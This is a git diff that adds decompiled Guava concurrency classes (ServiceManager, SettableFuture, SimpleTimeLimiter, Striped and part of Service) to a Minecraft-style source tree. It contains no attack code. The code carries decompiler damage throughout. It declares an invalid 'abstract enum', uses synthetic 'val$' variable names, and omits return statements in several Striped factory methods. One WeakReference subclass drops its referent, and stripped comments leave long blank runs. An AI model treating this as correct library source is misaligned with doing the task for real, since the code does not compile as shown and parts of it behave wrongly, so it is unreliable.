+  @Beta
+  public static abstract class Listener
+  {
+    public Listener() {}
+    
+    public void starting() {}
+    
+    public void running() {}
+    
+    public void stopping(Service.State from) {}
+    
+    public void terminated(Service.State from) {}
+    
+    public void failed(Service.State from, Throwable failure) {}
+  }
+  
+  @Beta
+  public static abstract enum State
+  {
+    NEW, 
+    
+
+
+
+
+
+
+
+    STARTING, 
+    
+
+
+
+
+
+
+
+    RUNNING, 
+    
+
+
+
+
+
+
+
+    STOPPING, 
+    
+
+
+
+
+
+
+
+
+    TERMINATED, 
+    
+
+
+
+
+
+
+
+
+    FAILED;
+    
+    private State() {}
+    
+    abstract boolean isTerminal();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ServiceManager.java b/src/minecraft/com/google/common/util/concurrent/ServiceManager.java
new file mode 100644
index 0000000..ab4a024
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ServiceManager.java
@@ -0,0 +1,804 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicates;
+import com.google.common.base.Stopwatch;
+import com.google.common.base.Supplier;
+import com.google.common.collect.Collections2;
+import com.google.common.collect.ImmutableCollection;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableMap.Builder;
+import com.google.common.collect.ImmutableMultimap;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.ImmutableSetMultimap;
+import com.google.common.collect.ImmutableSetMultimap.Builder;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimaps;
+import com.google.common.collect.Multiset;
+import com.google.common.collect.Ordering;
+import com.google.common.collect.SetMultimap;
+import com.google.common.collect.Sets;
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.EnumMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class ServiceManager
+{
+  private static final Logger logger = Logger.getLogger(ServiceManager.class.getName());
+  private static final ListenerCallQueue.Callback<Listener> HEALTHY_CALLBACK = new ListenerCallQueue.Callback("healthy()") {
+    void call(ServiceManager.Listener listener) {
+      listener.healthy();
+    }
+  };
+  private static final ListenerCallQueue.Callback<Listener> STOPPED_CALLBACK = new ListenerCallQueue.Callback("stopped()") {
+    void call(ServiceManager.Listener listener) {
+      listener.stopped();
+    }
+  };
+  
+
+
+
+
+
+  private final ServiceManagerState state;
+  
+
+
+
+
+
+  private final ImmutableList<Service> services;
+  
+
+
+
+
+
+
+  @Beta
+  public static abstract class Listener
+  {
+    public Listener() {}
+    
+
+
+
+
+
+    public void healthy() {}
+    
+
+
+
+
+
+    public void stopped() {}
+    
+
+
+
+
+
+    public void failure(Service service) {}
+  }
+  
+
+
+
+
+
+  public ServiceManager(Iterable<? extends Service> services)
+  {
+    ImmutableList<Service> copy = ImmutableList.copyOf(services);
+    if (copy.isEmpty())
+    {
+
+      logger.log(Level.WARNING, "ServiceManager configured with no services.  Is your application configured properly?", new EmptyServiceManagerWarning(null));
+      
+
+      copy = ImmutableList.of(new NoOpService(null));
+    }
+    state = new ServiceManagerState(copy);
+    this.services = copy;
+    WeakReference<ServiceManagerState> stateReference = new WeakReference(state);
+    
+    Executor sameThreadExecutor = MoreExecutors.sameThreadExecutor();
+    for (Service service : copy)
+    {
+
+
+
+
+
+
+
+      service.addListener(new ServiceListener(service, stateReference), sameThreadExecutor);
+      
+
+      Preconditions.checkArgument(service.state() == Service.State.NEW, "Can only manage NEW services, %s", new Object[] { service });
+    }
+    
+
+    state.markReady();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void addListener(Listener listener, Executor executor)
+  {
+    state.addListener(listener, executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void addListener(Listener listener)
+  {
+    state.addListener(listener, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+  public ServiceManager startAsync()
+  {
+    for (Service service : services) {
+      Service.State state = service.state();
+      Preconditions.checkState(state == Service.State.NEW, "Service %s is %s, cannot start it.", new Object[] { service, state });
+    }
+    for (Service service : services) {
+      try {
+        service.startAsync();
+
+      }
+      catch (IllegalStateException e)
+      {
+
+        logger.log(Level.WARNING, "Unable to start Service " + service, e);
+      }
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public void awaitHealthy()
+  {
+    state.awaitHealthy();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void awaitHealthy(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    state.awaitHealthy(timeout, unit);
+  }
+  
+
+
+
+
+
+  public ServiceManager stopAsync()
+  {
+    for (Service service : services) {
+      service.stopAsync();
+    }
+    return this;
+  }
+  
+
+
+
+
+  public void awaitStopped()
+  {
+    state.awaitStopped();
+  }
+  
+
+
+
+
+
+
+
+  public void awaitStopped(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    state.awaitStopped(timeout, unit);
+  }
+  
+
+
+
+
+
+  public boolean isHealthy()
+  {
+    for (Service service : services) {
+      if (!service.isRunning()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public ImmutableMultimap<Service.State, Service> servicesByState()
+  {
+    return state.servicesByState();
+  }
+  
+
+
+
+
+
+
+  public ImmutableMap<Service, Long> startupTimes()
+  {
+    return state.startupTimes();
+  }
+  
+  public String toString() {
+    return Objects.toStringHelper(ServiceManager.class).add("services", Collections2.filter(services, Predicates.not(Predicates.instanceOf(NoOpService.class)))).toString();
+  }
+  
+
+
+
+
+
+  private static final class ServiceManagerState
+  {
+    final Monitor monitor = new Monitor();
+    @GuardedBy("monitor")
+    final SetMultimap<Service.State, Service> servicesByState = Multimaps.newSetMultimap(new EnumMap(Service.State.class), new Supplier()
+    {
+
+      public Set<Service> get()
+      {
+        return Sets.newLinkedHashSet();
+      }
+    });
+    
+
+
+
+
+
+
+    @GuardedBy("monitor")
+    final Multiset<Service.State> states = servicesByState.keys();
+    
+    @GuardedBy("monitor")
+    final Map<Service, Stopwatch> startupTimers = Maps.newIdentityHashMap();
+    
+
+
+
+
+    @GuardedBy("monitor")
+    boolean ready;
+    
+
+
+
+
+    @GuardedBy("monitor")
+    boolean transitioned;
+    
+
+
+
+
+    final int numberOfServices;
+    
+
+
+
+
+    final Monitor.Guard awaitHealthGuard = new Monitor.Guard(monitor)
+    {
+      public boolean isSatisfied() {
+        return (states.count(Service.State.RUNNING) == numberOfServices) || (states.contains(Service.State.STOPPING)) || (states.contains(Service.State.TERMINATED)) || (states.contains(Service.State.FAILED));
+      }
+    };
+    
+
+
+
+
+
+
+    final Monitor.Guard stoppedGuard = new Monitor.Guard(monitor) {
+      public boolean isSatisfied() {
+        return states.count(Service.State.TERMINATED) + states.count(Service.State.FAILED) == numberOfServices;
+      }
+    };
+    
+    @GuardedBy("monitor")
+    final List<ListenerCallQueue<ServiceManager.Listener>> listeners = Collections.synchronizedList(new ArrayList());
+    
+
+
+
+
+
+
+
+    ServiceManagerState(ImmutableCollection<Service> services)
+    {
+      numberOfServices = services.size();
+      servicesByState.putAll(Service.State.NEW, services);
+      for (Service service : services) {
+        startupTimers.put(service, Stopwatch.createUnstarted());
+      }
+    }
+    
+
+
+
+    void markReady()
+    {
+      monitor.enter();
+      try {
+        if (!transitioned)
+        {
+          ready = true;
+        }
+        else {
+          List<Service> servicesInBadStates = Lists.newArrayList();
+          for (Service service : servicesByState().values()) {
+            if (service.state() != Service.State.NEW) {
+              servicesInBadStates.add(service);
+            }
+          }
+          throw new IllegalArgumentException("Services started transitioning asynchronously before the ServiceManager was constructed: " + servicesInBadStates);
+        }
+      }
+      finally {
+        monitor.leave();
+      }
+    }
+    
+    void addListener(ServiceManager.Listener listener, Executor executor) {
+      Preconditions.checkNotNull(listener, "listener");
+      Preconditions.checkNotNull(executor, "executor");
+      monitor.enter();
+      try
+      {
+        if (!stoppedGuard.isSatisfied()) {
+          listeners.add(new ListenerCallQueue(listener, executor));
+        }
+      } finally {
+        monitor.leave();
+      }
+    }
+    
+    void awaitHealthy() {
+      monitor.enterWhenUninterruptibly(awaitHealthGuard);
+      try {
+        checkHealthy();
+      } finally {
+        monitor.leave();
+      }
+    }
+    
+    void awaitHealthy(long timeout, TimeUnit unit) throws TimeoutException {
+      monitor.enter();
+      try {
+        if (!monitor.waitForUninterruptibly(awaitHealthGuard, timeout, unit)) {
+          throw new TimeoutException("Timeout waiting for the services to become healthy. The following services have not started: " + Multimaps.filterKeys(servicesByState, Predicates.in(ImmutableSet.of(Service.State.NEW, Service.State.STARTING))));
+        }
+        
+
+        checkHealthy();
+      } finally {
+        monitor.leave();
+      }
+    }
+    
+    void awaitStopped() {
+      monitor.enterWhenUninterruptibly(stoppedGuard);
+      monitor.leave();
+    }
+    
+    void awaitStopped(long timeout, TimeUnit unit) throws TimeoutException {
+      monitor.enter();
+      try {
+        if (!monitor.waitForUninterruptibly(stoppedGuard, timeout, unit)) {
+          throw new TimeoutException("Timeout waiting for the services to stop. The following services have not stopped: " + Multimaps.filterKeys(servicesByState, Predicates.not(Predicates.in(ImmutableSet.of(Service.State.TERMINATED, Service.State.FAILED)))));
+        }
+        
+      }
+      finally
+      {
+        monitor.leave();
+      }
+    }
+    
+    ImmutableMultimap<Service.State, Service> servicesByState() {
+      ImmutableSetMultimap.Builder<Service.State, Service> builder = ImmutableSetMultimap.builder();
+      monitor.enter();
+      try {
+        for (Map.Entry<Service.State, Service> entry : servicesByState.entries()) {
+          if (!(entry.getValue() instanceof ServiceManager.NoOpService)) {
+            builder.put(entry.getKey(), entry.getValue());
+          }
+        }
+      } finally {
+        monitor.leave();
+      }
+      return builder.build();
+    }
+    
+    ImmutableMap<Service, Long> startupTimes()
+    {
+      monitor.enter();
+      List<Map.Entry<Service, Long>> loadTimes;
+      try { loadTimes = Lists.newArrayListWithCapacity(states.size() - states.count(Service.State.NEW) + states.count(Service.State.STARTING));
+        
+        for (Map.Entry<Service, Stopwatch> entry : startupTimers.entrySet()) {
+          Service service = (Service)entry.getKey();
+          Stopwatch stopWatch = (Stopwatch)entry.getValue();
+          
+
+
+
+          if ((!stopWatch.isRunning()) && (!servicesByState.containsEntry(Service.State.NEW, service)) && (!(service instanceof ServiceManager.NoOpService)))
+          {
+            loadTimes.add(Maps.immutableEntry(service, Long.valueOf(stopWatch.elapsed(TimeUnit.MILLISECONDS))));
+          }
+        }
+      } finally {
+        monitor.leave();
+      }
+      Collections.sort(loadTimes, Ordering.natural().onResultOf(new Function()
+      {
+        public Long apply(Map.Entry<Service, Long> input) {
+          return (Long)input.getValue();
+        }
+      }));
+      ImmutableMap.Builder<Service, Long> builder = ImmutableMap.builder();
+      for (Map.Entry<Service, Long> entry : loadTimes) {
+        builder.put(entry);
+      }
+      return builder.build();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    void transitionService(Service service, Service.State from, Service.State to)
+    {
+      Preconditions.checkNotNull(service);
+      Preconditions.checkArgument(from != to);
+      monitor.enter();
+      try {
+        transitioned = true;
+        if (!ready) {
+          return;
+        }
+        
+        Preconditions.checkState(servicesByState.remove(from, service), "Service %s not at the expected location in the state map %s", new Object[] { service, from });
+        
+        Preconditions.checkState(servicesByState.put(to, service), "Service %s in the state map unexpectedly at %s", new Object[] { service, to });
+        
+
+        Stopwatch stopwatch = (Stopwatch)startupTimers.get(service);
+        if (from == Service.State.NEW) {
+          stopwatch.start();
+        }
+        if ((to.compareTo(Service.State.RUNNING) >= 0) && (stopwatch.isRunning()))
+        {
+          stopwatch.stop();
+          if (!(service instanceof ServiceManager.NoOpService)) {
+            ServiceManager.logger.log(Level.FINE, "Started {0} in {1}.", new Object[] { service, stopwatch });
+          }
+        }
+        
+
+
+        if (to == Service.State.FAILED) {
+          fireFailedListeners(service);
+        }
+        
+        if (states.count(Service.State.RUNNING) == numberOfServices)
+        {
+
+          fireHealthyListeners();
+        } else if (states.count(Service.State.TERMINATED) + states.count(Service.State.FAILED) == numberOfServices) {
+          fireStoppedListeners();
+        }
+      } finally {
+        monitor.leave();
+        
+        executeListeners();
+      }
+    }
+    
+    @GuardedBy("monitor")
+    void fireStoppedListeners() {
+      ServiceManager.STOPPED_CALLBACK.enqueueOn(listeners);
+    }
+    
+    @GuardedBy("monitor")
+    void fireHealthyListeners() {
+      ServiceManager.HEALTHY_CALLBACK.enqueueOn(listeners);
+    }
+    
+    @GuardedBy("monitor")
+    void fireFailedListeners(final Service service) {
+      new ListenerCallQueue.Callback("failed({service=" + service + "})")
+      {
+        void call(ServiceManager.Listener listener) { listener.failure(service); } }.enqueueOn(listeners);
+    }
+    
+
+
+    void executeListeners()
+    {
+      Preconditions.checkState(!monitor.isOccupiedByCurrentThread(), "It is incorrect to execute listeners with the monitor held.");
+      
+
+      for (int i = 0; i < listeners.size(); i++) {
+        ((ListenerCallQueue)listeners.get(i)).execute();
+      }
+    }
+    
+    @GuardedBy("monitor")
+    void checkHealthy() {
+      if (states.count(Service.State.RUNNING) != numberOfServices) {
+        throw new IllegalStateException("Expected to be healthy after starting. The following services are not running: " + Multimaps.filterKeys(servicesByState, Predicates.not(Predicates.equalTo(Service.State.RUNNING))));
+      }
+    }
+  }
+  
+
+
+  private static final class ServiceListener
+    extends Service.Listener
+  {
+    final Service service;
+    
+
+    final WeakReference<ServiceManager.ServiceManagerState> state;
+    
+
+
+    ServiceListener(Service service, WeakReference<ServiceManager.ServiceManagerState> state)
+    {
+      this.service = service;
+      this.state = state;
+    }
+    
+    public void starting() {
+      ServiceManager.ServiceManagerState state = (ServiceManager.ServiceManagerState)this.state.get();
+      if (state != null) {
+        state.transitionService(service, Service.State.NEW, Service.State.STARTING);
+        if (!(service instanceof ServiceManager.NoOpService)) {
+          ServiceManager.logger.log(Level.FINE, "Starting {0}.", service);
+        }
+      }
+    }
+    
+    public void running() {
+      ServiceManager.ServiceManagerState state = (ServiceManager.ServiceManagerState)this.state.get();
+      if (state != null) {
+        state.transitionService(service, Service.State.STARTING, Service.State.RUNNING);
+      }
+    }
+    
+    public void stopping(Service.State from) {
+      ServiceManager.ServiceManagerState state = (ServiceManager.ServiceManagerState)this.state.get();
+      if (state != null) {
+        state.transitionService(service, from, Service.State.STOPPING);
+      }
+    }
+    
+    public void terminated(Service.State from) {
+      ServiceManager.ServiceManagerState state = (ServiceManager.ServiceManagerState)this.state.get();
+      if (state != null) {
+        if (!(service instanceof ServiceManager.NoOpService)) {
+          ServiceManager.logger.log(Level.FINE, "Service {0} has terminated. Previous state was: {1}", new Object[] { service, from });
+        }
+        
+        state.transitionService(service, from, Service.State.TERMINATED);
+      }
+    }
+    
+    public void failed(Service.State from, Throwable failure) {
+      ServiceManager.ServiceManagerState state = (ServiceManager.ServiceManagerState)this.state.get();
+      if (state != null)
+      {
+
+        if (!(service instanceof ServiceManager.NoOpService)) {
+          ServiceManager.logger.log(Level.SEVERE, "Service " + service + " has failed in the " + from + " state.", failure);
+        }
+        
+        state.transitionService(service, from, Service.State.FAILED);
+      }
+    }
+  }
+  
+
+
+  private static final class NoOpService
+    extends AbstractService
+  {
+    private NoOpService() {}
+    
+
+
+    protected void doStart() { notifyStarted(); }
+    protected void doStop() { notifyStopped(); }
+  }
+  
+  private static final class EmptyServiceManagerWarning
+    extends Throwable
+  {
+    private EmptyServiceManagerWarning() {}
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/SettableFuture.java b/src/minecraft/com/google/common/util/concurrent/SettableFuture.java
new file mode 100644
index 0000000..a8471bf
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/SettableFuture.java
@@ -0,0 +1,70 @@
+package com.google.common.util.concurrent;
+
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SettableFuture<V>
+  extends AbstractFuture<V>
+{
+  public static <V> SettableFuture<V> create()
+  {
+    return new SettableFuture();
+  }
+  
+
+
+
+
+
+
+  private SettableFuture() {}
+  
+
+
+
+
+
+
+  public boolean set(@Nullable V value)
+  {
+    return super.set(value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean setException(Throwable throwable)
+  {
+    return super.setException(throwable);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/SimpleTimeLimiter.java b/src/minecraft/com/google/common/util/concurrent/SimpleTimeLimiter.java
new file mode 100644
index 0000000..8530179
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/SimpleTimeLimiter.java
@@ -0,0 +1,195 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ObjectArrays;
+import com.google.common.collect.Sets;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class SimpleTimeLimiter
+  implements TimeLimiter
+{
+  private final ExecutorService executor;
+  
+  public SimpleTimeLimiter(ExecutorService executor)
+  {
+    this.executor = ((ExecutorService)Preconditions.checkNotNull(executor));
+  }
+  
+
+
+
+
+
+
+
+
+  public SimpleTimeLimiter()
+  {
+    this(Executors.newCachedThreadPool());
+  }
+  
+
+  public <T> T newProxy(final T target, Class<T> interfaceType, final long timeoutDuration, TimeUnit timeoutUnit)
+  {
+    Preconditions.checkNotNull(target);
+    Preconditions.checkNotNull(interfaceType);
+    Preconditions.checkNotNull(timeoutUnit);
+    Preconditions.checkArgument(timeoutDuration > 0L, "bad timeout: %s", new Object[] { Long.valueOf(timeoutDuration) });
+    Preconditions.checkArgument(interfaceType.isInterface(), "interfaceType must be an interface type");
+    
+
+    final Set<Method> interruptibleMethods = findInterruptibleMethods(interfaceType);
+    
+
+    InvocationHandler handler = new InvocationHandler()
+    {
+      public Object invoke(Object obj, final Method method, final Object[] args) throws Throwable
+      {
+        Callable<Object> callable = new Callable()
+        {
+          public Object call() throws Exception {
+            try {
+              return method.invoke(val$target, args);
+            } catch (InvocationTargetException e) {
+              SimpleTimeLimiter.throwCause(e, false);
+              throw new AssertionError("can't get here");
+            }
+          }
+        };
+        return callWithTimeout(callable, timeoutDuration, interruptibleMethods, val$interruptibleMethods.contains(method));
+      }
+      
+    };
+    return newProxy(interfaceType, handler);
+  }
+  
+
+  public <T> T callWithTimeout(Callable<T> callable, long timeoutDuration, TimeUnit timeoutUnit, boolean amInterruptible)
+    throws Exception
+  {
+    Preconditions.checkNotNull(callable);
+    Preconditions.checkNotNull(timeoutUnit);
+    Preconditions.checkArgument(timeoutDuration > 0L, "timeout must be positive: %s", new Object[] { Long.valueOf(timeoutDuration) });
+    
+    Future<T> future = executor.submit(callable);
+    try {
+      if (amInterruptible) {
+        try {
+          return future.get(timeoutDuration, timeoutUnit);
+        } catch (InterruptedException e) {
+          future.cancel(true);
+          throw e;
+        }
+      }
+      return Uninterruptibles.getUninterruptibly(future, timeoutDuration, timeoutUnit);
+    }
+    catch (ExecutionException e)
+    {
+      throw throwCause(e, true);
+    } catch (TimeoutException e) {
+      future.cancel(true);
+      throw new UncheckedTimeoutException(e);
+    }
+  }
+  
+  private static Exception throwCause(Exception e, boolean combineStackTraces) throws Exception
+  {
+    Throwable cause = e.getCause();
+    if (cause == null) {
+      throw e;
+    }
+    if (combineStackTraces) {
+      StackTraceElement[] combined = (StackTraceElement[])ObjectArrays.concat(cause.getStackTrace(), e.getStackTrace(), StackTraceElement.class);
+      
+      cause.setStackTrace(combined);
+    }
+    if ((cause instanceof Exception)) {
+      throw ((Exception)cause);
+    }
+    if ((cause instanceof Error)) {
+      throw ((Error)cause);
+    }
+    
+    throw e;
+  }
+  
+  private static Set<Method> findInterruptibleMethods(Class<?> interfaceType) {
+    Set<Method> set = Sets.newHashSet();
+    for (Method m : interfaceType.getMethods()) {
+      if (declaresInterruptedEx(m)) {
+        set.add(m);
+      }
+    }
+    return set;
+  }
+  
+  private static boolean declaresInterruptedEx(Method method) {
+    for (Class<?> exType : method.getExceptionTypes())
+    {
+      if (exType == InterruptedException.class) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  private static <T> T newProxy(Class<T> interfaceType, InvocationHandler handler)
+  {
+    Object object = Proxy.newProxyInstance(interfaceType.getClassLoader(), new Class[] { interfaceType }, handler);
+    
+    return interfaceType.cast(object);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Striped.java b/src/minecraft/com/google/common/util/concurrent/Striped.java
new file mode 100644
index 0000000..7f7e3c1
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Striped.java
@@ -0,0 +1,487 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.MapMaker;
+import com.google.common.math.IntMath;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.WeakReference;
+import java.math.RoundingMode;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class Striped<L>
+{
+  private static final int LARGE_LAZY_CUTOFF = 1024;
+  
+  private Striped() {}
+  
+  public abstract L get(Object paramObject);
+  
+  public abstract L getAt(int paramInt);
+  
+  abstract int indexFor(Object paramObject);
+  
+  public abstract int size();
+  
+  public Iterable<L> bulkGet(Iterable<?> keys)
+  {
+    Object[] array = Iterables.toArray(keys, Object.class);
+    if (array.length == 0) {
+      return ImmutableList.of();
+    }
+    int[] stripes = new int[array.length];
+    for (int i = 0; i < array.length; i++) {
+      stripes[i] = indexFor(array[i]);
+    }
+    Arrays.sort(stripes);
+    
+    int previousStripe = stripes[0];
+    array[0] = getAt(previousStripe);
+    for (int i = 1; i < array.length; i++) {
+      int currentStripe = stripes[i];
+      if (currentStripe == previousStripe) {
+        array[i] = array[(i - 1)];
+      } else {
+        array[i] = getAt(currentStripe);
+        previousStripe = currentStripe;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    List<L> asList = Arrays.asList(array);
+    return Collections.unmodifiableList(asList);
+  }
+  
+
+
+
+
+
+
+
+
+  public static Striped<Lock> lock(int stripes)
+  {
+    new CompactStriped(stripes, new Supplier()
+    {
+      public Lock get() { return new Striped.PaddedLock(); } }, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static Striped<Lock> lazyWeakLock(int stripes)
+  {
+    lazy(stripes, new Supplier() {
+      public Lock get() {
+        return new ReentrantLock(false);
+      }
+    });
+  }
+  
+  private static <L> Striped<L> lazy(int stripes, Supplier<L> supplier) {
+    return stripes < 1024 ? new SmallLazyStriped(stripes, supplier) : new LargeLazyStriped(stripes, supplier);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Striped<Semaphore> semaphore(int stripes, int permits)
+  {
+    new CompactStriped(stripes, new Supplier()
+    {
+      public Semaphore get() { return new Striped.PaddedSemaphore(val$permits); } }, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Striped<Semaphore> lazyWeakSemaphore(int stripes, int permits)
+  {
+    lazy(stripes, new Supplier() {
+      public Semaphore get() {
+        return new Semaphore(val$permits, false);
+      }
+    });
+  }
+  
+
+
+
+
+
+
+  public static Striped<ReadWriteLock> readWriteLock(int stripes)
+  {
+    return new CompactStriped(stripes, READ_WRITE_LOCK_SUPPLIER, null);
+  }
+  
+
+
+
+
+
+
+  public static Striped<ReadWriteLock> lazyWeakReadWriteLock(int stripes)
+  {
+    return lazy(stripes, READ_WRITE_LOCK_SUPPLIER);
+  }
+  
+
+  private static final Supplier<ReadWriteLock> READ_WRITE_LOCK_SUPPLIER = new Supplier()
+  {
+
+    public ReadWriteLock get() { return new ReentrantReadWriteLock(); }
+  };
+  private static final int ALL_SET = -1;
+  
+  private static abstract class PowerOfTwoStriped<L> extends Striped<L> {
+    final int mask;
+    
+    PowerOfTwoStriped(int stripes) {
+      super();
+      Preconditions.checkArgument(stripes > 0, "Stripes must be positive");
+      mask = (stripes > 1073741824 ? -1 : Striped.ceilToPowerOfTwo(stripes) - 1);
+    }
+    
+    final int indexFor(Object key) {
+      int hash = Striped.smear(key.hashCode());
+      return hash & mask;
+    }
+    
+    public final L get(Object key) {
+      return getAt(indexFor(key));
+    }
+  }
+  
+
+  private static class CompactStriped<L>
+    extends Striped.PowerOfTwoStriped<L>
+  {
+    private final Object[] array;
+    
+
+    private CompactStriped(int stripes, Supplier<L> supplier)
+    {
+      super();
+      Preconditions.checkArgument(stripes <= 1073741824, "Stripes must be <= 2^30)");
+      
+      array = new Object[mask + 1];
+      for (int i = 0; i < array.length; i++) {
+        array[i] = supplier.get();
+      }
+    }
+    
+    public L getAt(int index)
+    {
+      return array[index];
+    }
+    
+    public int size() {
+      return array.length;
+    }
+  }
+  
+
+  @VisibleForTesting
+  static class SmallLazyStriped<L>
+    extends Striped.PowerOfTwoStriped<L>
+  {
+    final AtomicReferenceArray<ArrayReference<? extends L>> locks;
+    
+    final Supplier<L> supplier;
+    final int size;
+    final ReferenceQueue<L> queue = new ReferenceQueue();
+    
+    SmallLazyStriped(int stripes, Supplier<L> supplier) {
+      super();
+      size = (mask == -1 ? Integer.MAX_VALUE : mask + 1);
+      locks = new AtomicReferenceArray(size);
+      this.supplier = supplier;
+    }
+    
+    public L getAt(int index) {
+      if (size != Integer.MAX_VALUE) {
+        Preconditions.checkElementIndex(index, size());
+      }
+      ArrayReference<? extends L> existingRef = (ArrayReference)locks.get(index);
+      L existing = existingRef == null ? null : existingRef.get();
+      if (existing != null) {
+        return existing;
+      }
+      L created = supplier.get();
+      ArrayReference<L> newRef = new ArrayReference(created, index, queue);
+      while (!locks.compareAndSet(index, existingRef, newRef))
+      {
+        existingRef = (ArrayReference)locks.get(index);
+        existing = existingRef == null ? null : existingRef.get();
+        if (existing != null) {
+          return existing;
+        }
+      }
+      drainQueue();
+      return created;
+    }
+    
+
+    private void drainQueue()
+    {
+      Reference<? extends L> ref;
+      
+      while ((ref = queue.poll()) != null)
+      {
+        ArrayReference<? extends L> arrayRef = (ArrayReference)ref;
+        
+
+        locks.compareAndSet(index, arrayRef, null);
+      }
+    }
+    
+    public int size() {
+      return size;
+    }
+    
+    private static final class ArrayReference<L> extends WeakReference<L> {
+      final int index;
+      
+      ArrayReference(L referent, int index, ReferenceQueue<L> queue) {
+        super(queue);
+        this.index = index;
+      }
+    }
+  }
+  
+
+  @VisibleForTesting
+  static class LargeLazyStriped<L>
+    extends Striped.PowerOfTwoStriped<L>
+  {
+    final ConcurrentMap<Integer, L> locks;
+    final Supplier<L> supplier;
+    final int size;
+    
+    LargeLazyStriped(int stripes, Supplier<L> supplier)
+    {
+      super();
+      size = (mask == -1 ? Integer.MAX_VALUE : mask + 1);
+      this.supplier = supplier;
+      locks = new MapMaker().weakValues().makeMap();
+    }
+    
+    public L getAt(int index) {
+      if (size != Integer.MAX_VALUE) {
+        Preconditions.checkElementIndex(index, size());
+      }
+      L existing = locks.get(Integer.valueOf(index));
+      if (existing != null) {
+        return existing;
+      }
+      L created = supplier.get();
+      existing = locks.putIfAbsent(Integer.valueOf(index), created);
+      return Objects.firstNonNull(existing, created);
+    }
+    
+    public int size() {
+      return size;
+    }
+  }
+  
+
+
+
+
+  private static int ceilToPowerOfTwo(int x)
+  {
+    return 1 << IntMath.log2(x, RoundingMode.CEILING);
+  }
+  
+
+
+
+
+
+
+
+
+  private static int smear(int hashCode)
+  {
+    hashCode ^= hashCode >>> 20 ^ hashCode >>> 12;
+    return hashCode ^ hashCode >>> 7 ^ hashCode >>> 4;
+  }
+  
+
+  private static class PaddedLock
+    extends ReentrantLock
+  {
+    long q1;
+    long q2;
+    long q3;
+    
+    PaddedLock()
+    {
+      super();
+    }
+  }
+  
